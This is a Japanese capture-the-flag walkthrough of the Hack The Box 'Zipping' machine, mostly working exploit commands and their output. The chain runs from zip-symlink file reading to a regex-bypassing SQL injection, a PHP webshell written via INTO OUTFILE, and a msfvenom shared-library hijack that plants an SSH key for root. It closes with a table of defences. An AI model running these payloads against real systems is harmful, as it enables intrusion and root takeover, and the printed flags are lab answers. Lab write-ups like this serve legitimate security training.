Hack The BoxのWriteup(Zipping)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Zipping — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH, 80/tcp Apache
zip-symlink 任意ファイル読取
/upload.php 偽装PDF
ソース漏洩
index.php / product.php / functions.php
preg_match /m バイパス SQLi
改行注入 + UNION SELECT
INTO OUTFILE webshell 設置
secure_file_priv 無制限
rektsu シェル取得
user.txt ✓
sudo NOPASSWD /usr/bin/stock
libcounter.so dlopen ENOENT
共有ライブラリ・ハイジャック
msfvenom linux/x64/exec
root.txt ✓

ポートスキャン & バージョン検出

BASH
nmap -sV -sC -p 22,80 10.129.229.87
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
開いているのは 22/tcp80/tcp のみ。80番の「Zipping Watch Store」は 時計販売サイトを模した自作 PHP アプリで、ナビゲーションに Work with Usupload.php)というレジュメ(履歴書)アップロード機能を持つ。

サイト巡回 — アップロードフォームの発見

BASH
curl -s http://10.129.229.87/ | grep -i "work with\|upload"
RESULT
<a class="nav-link btn btn-primary" href="upload.php">Work with Us</a>
BASH
curl -s http://10.129.229.87/upload.php
RESULT
If you are interested in working with us, do not hesitate to send us your curriculum.
The application will only accept zip files, inside them there must be a pdf file
containing your curriculum.

<form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php">
  <input type="file" class="form-control" name="zipFile" accept=".zip">
  <button type="submit" class="btn btn-primary" name="submit">Upload</button>
</form>
🚨
攻撃面の特定: zip をアップロードすると中身が展開され、uploads/<ハッシュ>/cv.pdf として公開される。「zip の中身は pdf 1つだけ」という制限を、symlink エントリ入り zip で回避できないか検証する(zip-symlink 攻撃)。
PHASE 2

zip-symlink 任意ファイル読取 → ソースコード漏洩

symlink 入り zip の作成

PYTHON
import zipfile, stat

def make_symlink_zip(out, entry, target):
    zi = zipfile.ZipInfo(entry)
    zi.create_system = 3                              # Unix
    zi.external_attr = (stat.S_IFLNK | 0o777) << 16   # symlink フラグを立てる
    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr(zi, target)                       # entry の中身 = リンク先パス文字列

# 展開後 cv.pdf が /etc/passwd を指すシンボリックリンクになる zip を作成
make_symlink_zip("sym_passwd.zip", "cv.pdf", "/etc/passwd")
ℹ️
通常の zip エントリはファイルの中身そのものを格納するが、Unix 系 zip は external_attr の上位16bitに st_mode を格納できる。ここに S_IFLNK(symlink フラグ)を立てると、そのエントリは「シンボリックリンク」として 展開され、エントリの中身(バイト列)がリンク先パスとして解釈される。サーバー側が アップロード zip の中身をアーカイブ属性を見ずに単純展開すると、任意パスへのシンボリックリンクを 作り込める。

アップロード & リンク先の読取

BASH
curl -s -F "submit=" \
     -F "zipFile=@sym_passwd.zip;filename=cv.zip;type=application/octet-stream" \
     http://10.129.229.87/upload.php
RESULT
File successfully uploaded and unzipped ...
<a href="uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf">uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf</a>
BASH
curl -s http://10.129.229.87/uploads/1e253b4c8a8ba32201e4257e577a51eb/cv.pdf
RESULT
root:x:0:0:root:/root:/bin/bash
...
rektsu:x:1001:1001::/home/rektsu:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
任意ファイル読取 成功。 ローカルユーザー rektsu(アプリの実行ユーザー)の 存在を確認。同じ手法で Apache の vhost 設定・PHP ソースを次々に読み出す。

DocumentRoot の特定 & ソースコード漏洩

BASH
# 同じ手順を関数化して繰り返す(symlink 生成 → upload → 読取)
read_remote() {
  local out link
  out=$(curl -s -F "submit=" -F "zipFile=@$1;filename=cv.zip;type=application/octet-stream" \
        http://10.129.229.87/upload.php)
  link=$(echo "$out" | grep -oE 'uploads/[0-9a-f]{32}/cv\.pdf')
  curl -s "http://10.129.229.87/$link"
}
# 対象: /etc/apache2/sites-enabled/000-default.conf, shop/index.php,
#       shop/product.php, shop/functions.php
RESULT (000-default.conf 抜粋)
DocumentRoot /var/www/html
<Directory /var/www/html/uploads>
    Options -Indexes
</Directory>
RESULT (shop/index.php)
<?php
session_start();
include 'functions.php';
$pdo = pdo_connect_mysql();
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
include $page . '.php';
?>
RESULT (shop/product.php 抜粋)
if (isset($_GET['id'])) {
    $id = $_GET['id'];
    if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
        header('Location: index.php');
    } else {
        $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
        $stmt->execute();
        ...
RESULT (shop/functions.php 抜粋)
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
🚨
3つの重大発見: (1) shop/index.php?page=file_exists($page.'.php') の真偽だけで include するため、任意のパスを渡せば LFI になる。 (2) shop/product.php?id=prepare() を使いつつ文字列連結で SQL 文を組んでおり (prepare() はプレースホルダを使わない限り SQLi 対策にならない典型例)、 preg_match フィルタも脆弱。 (3) DB 資格情報 root:MySQL_P@ssw0rd! が平文で読める(PDOはFILE権限を持つMariaDB rootで接続)。
PHASE 3

preg_match フィルタ解析 & SQLi バイパス設計

フィルタ正規表現の弱点

NOTE
フィルタ: /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'",.<>\/?]|[^0-9]$/
(/m, /s いずれのフラグも無し = デフォルトモード)

このパターンは OR (|) で2択:
  (A) ^.*[特殊文字]   … 文字列の "先頭行" のどこかに特殊文字があれば match
  (B) [^0-9]$          … 文字列の "末尾" が数字以外なら match

デフォルトモードでは "." は改行にマッチせず、"^"/"$" は文字列全体の
先頭・末尾にしかアンカーされない(各行ごとではない)。
つまり:
  - 入力に改行を混ぜると、(A) は "1行目" しか見ない → 1行目を空にすれば回避可能
  - 末尾さえ数字にしておけば (B) も回避可能

→ 先頭に改行、末尾を数字で終える ペイロードなら
   間に quote や UNION/SELECT 等の特殊文字を自由に挟める。

バイパス済み SQLi ペイロードの構造

PYTHON (id パラメータの組立)
# id = "\n\r'" +  + "'1"
#
# 実際に組まれるクエリ:
#   SELECT * FROM products WHERE id = '\n\r'  '1'
#                                     ^^^^^^^  ここで文字列を閉じる
#                                              注入内容は生SQLとして実行される
#                                                            ^^^ 末尾はコメントアウトで無効化

id_raw = "\n\r'" + "UNION SELECT ...-- -" + "'1"
BASH (curl での送信)
curl -s -G "http://10.129.229.87/shop/index.php" \
  --data-urlencode "page=product" \
  --data-urlencode $'id=\n\r\'UNION SELECT 1,2,3,4,5,6,7,8-- -\'1'
--data-urlencode が改行・quote を含む生バイトをそのまま percent-encode してくれるため、 sqlmap を使わず curl だけで フィルタ回避 SQLi を送信できる。

UNION SELECT 列数の特定

BASH
for n in 1 2 3 4 5 6 7 8 9; do
  cols=$(seq -s, 1 $n)
  sqli_get "UNION SELECT ${cols}-- -"     # 上記の id_raw 組立を関数化
done
RESULT
columns=8 のときのみ商品ページに反映:
  <h1 class="name">2</h1>   ← UNION SELECT の2列目 = products.name
ℹ️
products テーブルは8列。UNION の2列目が画面上 <h1 class="name"> として反映されることを確認したので、この列にペイロードを差し込めば任意の文字列を 画面へ出力させる/後述のとおり INTO OUTFILE にも利用できる。

DB特権・書込み制限の確認

BASH
sqli_get "UNION SELECT 1,@@secure_file_priv,3,4,5,6,7,8-- -"
sqli_get "UNION SELECT 1,concat(version(),0x3a,current_user(),0x3a,@@datadir),3,4,5,6,7,8-- -"
RESULT
secure_file_priv = (空文字列 = 制限なし)
version/user/datadir = 10.6.12-MariaDB-0ubuntu0.22.10.1:root@localhost:/var/lib/mysql/
🚨
secure_file_priv が空 = 任意パスへの LOAD_FILE / INTO OUTFILE 制限なし。 接続ユーザーは root@localhost(DB側のroot、OSのrootとは別)で FILE 権限を保持。 MariaDB データディレクトリ (/var/lib/mysql/) はプロセス実行ユーザー mysql が 書込み可能なので、ここに PHP webshell を書き込み、先ほどの LFI (page=) で 呼び出せば RCE に到達できる。
PHASE 4

INTO OUTFILE で webshell 設置 → user.txt 取得

PHP webshell の書込み

PYTHON (payload 組立)
payload_php = "<?php system($_GET['cmd']); ?>"
payload_hex = "0x" + payload_php.encode().hex()     # クオート衝突回避のため hex リテラルで渡す

# 8列中2列目(反映列)にPHPコードを、残りは NULL
cols = ["NULL"] * 8
cols[1] = payload_hex
sql = f"UNION SELECT {','.join(cols)} INTO OUTFILE '/var/lib/mysql/shell.php'-- -"
BASH
sqli_get "UNION SELECT NULL,0x3c3f70687020...,NULL,NULL,NULL,NULL,NULL,NULL \
          INTO OUTFILE '/var/lib/mysql/shell.php'-- -"
ℹ️
ファイル名は shell.php(拡張子そのまま)でよい。page=/var/lib/mysql/shell とすれば、LFI 側の file_exists($page.'.php') がちょうど /var/lib/mysql/shell.php を見つけて include してくれるため、 従来しばしば使われる NULL バイト拡張子切り詰め (shell.php%00) のような トリックは不要。

LFI 経由での webshell 起動確認

BASH
curl -s "http://10.129.229.87/shop/index.php?page=/var/lib/mysql/shell&cmd=id"
RESULT
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
RCE 成功。 PHP を実行しているのは Apache の www-data ではなく rektsu ユーザー(PHP-FPM が rektsu 権限で動作する構成)。

user.txt 取得

BASH
curl -s "http://10.129.229.87/shop/index.php?page=/var/lib/mysql/shell" \
     -G --data-urlencode "cmd=cat /home/rektsu/user.txt"
RESULT
a471ff0b8256db52cf631eb66acda22a
user.txt — rektsu
a471ff0b8256db52cf631eb66acda22a
⚠️
cmd パラメータは必ず urllib.parse.quote(cmd, safe="") (またはcurlの --data-urlencode)で完全 percent-encode すること。生の +/& 等を素の URL に混ぜると、PHP の $_GET urldecode (+→空白)でコマンドやbase64ペイロードが壊れる。
PHASE 5

権限昇格の下調べ — sudo NOPASSWD /usr/bin/stock

sudo -l で許可コマンドを確認

BASH (webshell経由)
cmd=sudo -l
RESULT
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:...

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

stock バイナリの挙動を strace で解析

BASH (webshell経由 — 対話バイナリなので timeout でラップ)
cmd=printf 'St0ckM4nager\n' | timeout 5 strace -f -e trace=openat /usr/bin/stock 2>&1 | grep -i counter
RESULT
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
BASH (パスワード自体の確認)
cmd=printf 'St0ckM4nager\n' | timeout 5 /usr/bin/stock 2>&1
RESULT
Enter the password:
================== Menu ==================
1) See the stock
2) Edit the stock
3) Exit the program
Select an option:
🚨
権限昇格経路の確定: stock はパスワード認証直後 (メニュー表示より前)に /home/rektsu/.config/libcounter.sodlopen() しようとするが存在せず失敗している。パスワード “St0ckM4nager” は本バイナリの静的解析(Ghidra/過去の公開情報)から既知の値。 .config ディレクトリは rektsu:rektsu 所有で書込み可能なため、 ここに悪性の共有オブジェクトを設置すれば、sudo により root権限で dlopen させられる(共有ライブラリ・ハイジャック)。
PHASE 6

libcounter.so ハイジャック → root.txt

ローカル: SSH 鍵ペア生成

BASH (Kali側)
ssh-keygen -t rsa -b 2048 -N "" -f zipping_root

悪性共有オブジェクトの生成 (msfvenom)

BASH (Kali側)
PUBKEY=$(cat zipping_root.pub)
msfvenom -p linux/x64/exec \
  CMD="mkdir -p /root/.ssh; echo $PUBKEY >> /root/.ssh/authorized_keys; \
       chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys" \
  -f elf-so -o libcounter.so
base64 -w0 libcounter.so > libcounter.b64
RESULT
Payload size: 543 bytes
Final size of elf-so file: 945 bytes
Saved as: libcounter.so
ℹ️
linux/x64/exec ペイロードは共有オブジェクトとして読み込まれた瞬間 (コンストラクタ経由)に任意のシェルコマンドを実行する、dlopen ハイジャック用の定番。 今回は自分の公開鍵を /root/.ssh/authorized_keys に追記するコマンドを埋め込み、 以降は素の SSH でアクセスできるようにする(対話シェルの維持が不要になる)。

webshell 経由で .so を配置

BASH
B64=$(cat libcounter.b64)
# webshell 経由: base64 は '+' '/' '=' を含むため必ず --data-urlencode で送る
cmd="mkdir -p /home/rektsu/.config && echo $B64 | base64 -d > /home/rektsu/.config/libcounter.so"
RESULT
-rw-r--r-- 1 rektsu rektsu 945 Aug 18 01:32 /home/rektsu/.config/libcounter.so

sudo stock を起動しハイジャックを発火

BASH (webshell経由)
cmd=printf 'St0ckM4nager\n3\n' | timeout 5 sudo /usr/bin/stock 2>&1
⚠️
stock は対話メニューを持つため、パスワードに続けて “3” (Exit) も送っておき、timeout でラップしてハングを防ぐ (認証直後・メニュー表示前に dlopen が走るので、この対策自体は必須ではないが webshell リクエストを確実に完了させるために有効)。

SSH root ログイン & root.txt 取得

BASH (Kali側)
ssh -i zipping_root root@10.129.229.87 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
efea891fcf339bc3513239e4ac2ccb7a
root.txt — root@zipping
efea891fcf339bc3513239e4ac2ccb7a
権限昇格成功。 sudo /usr/bin/stock がroot権限で libcounter.so をロードした瞬間、埋め込んだコマンドが root として実行され、 自分の公開鍵が /root/.ssh/authorized_keys に追記された。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — rektsu
a471ff0b8256db52cf631eb66acda22a
root.txt — root@zipping
efea891fcf339bc3513239e4ac2ccb7a

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
zip-symlink 任意ファイル読取 upload.php (レジュメ zip 展開処理) 任意ファイル読取(情報漏洩) High symlink エントリを含む zip を pdf として偽装アップロードし、展開後のリンクを辿って任意パスを読取
preg_match /m未指定バイパス SQLi shop/product.php?id= データベース侵害 / RCE Critical 改行注入で先頭行フィルタと末尾文字フィルタを同時に回避し、UNION SELECT … INTO OUTFILE でPHP webshellを書込み
LFI (Local File Inclusion) shop/index.php?page= 任意PHPファイルの実行 High file_exists() の真偽判定のみでinclude するため、SQLiで書き込んだwebshellをそのまま起動
共有ライブラリ・ハイジャック (sudo) /usr/bin/stock (NOPASSWD sudo) 権限昇格(root) Critical rektsu が書込み可能な~/.config/にdlopen対象のlibcounter.soを配置し、sudo実行でroot権限のコード実行を発火

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョンスキャン + サイト巡回22/80のみ開放、upload.phpのレジュメ機能を発見
2zip-symlink LFIPython zipfile + external_attr操作/etc/passwd、Apache設定、PHPソース一式(DB資格情報含む)
3SQLi解析preg_match /m未指定の穴を突く改行注入UNION列数=8、secure_file_priv無制限を確認
4webshell設置UNION SELECT … INTO OUTFILE + LFI起動user.txt 取得(rektsu権限RCE)
5権限調査sudo -l + stracesudo NOPASSWD stock、libcounter.so dlopen ENOENTを確認
6権限昇格msfvenom共有オブジェクト + sudo発火root.txt 取得(SSH鍵注入でroot到達)

学んだ教訓 & 防御策

問題点防御策
zip展開処理がアーカイブエントリの種別(symlinkか通常ファイルか)を検証していない 展開前に各エントリの external_attr / モードビットを検査し、symlink・デバイスファイル等は拒否する。可能なら PHP の ZipArchive でも展開後に is_link() でチェックする。
PDO prepare() を使っていても文字列連結でSQL文を組んでいるため実質SQLi対策になっていない 必ずプレースホルダ (:id 等) とバインドパラメータを使う。入力フィルタに頼らない。
正規表現フィルタが /m /s フラグ不足で複数行入力を想定していない 入力値に改行等の制御文字が含まれる時点で拒否する。フィルタのみに依存せず多層防御(パラメータ化クエリ)を実装する。
page パラメータの file_exists() チェックだけで include している(LFI) 許可するページ名をホワイトリスト方式で厳格に限定する。ユーザー入力を直接ファイルパスに使わない。
secure_file_priv が無制限、かつ DB rootの資格情報がソースに平文で残っている secure_file_priv を特定ディレクトリに限定する。DB専用の最小権限ユーザーを作成しアプリからは root で接続しない。資格情報は環境変数やシークレットマネージャで管理する。
sudo NOPASSWD な自作バイナリが、一般ユーザー書込み可能なホームディレクトリ配下から共有ライブラリを dlopen している dlopen対象を絶対パス・root専用ディレクトリに固定し、ロード前にパーミッション/所有者を検証する。可能ならライブラリを静的リンクするか、setuid/sudoバイナリからの動的ロードを避ける。
HackTheBox: Zipping | 完全攻略レポート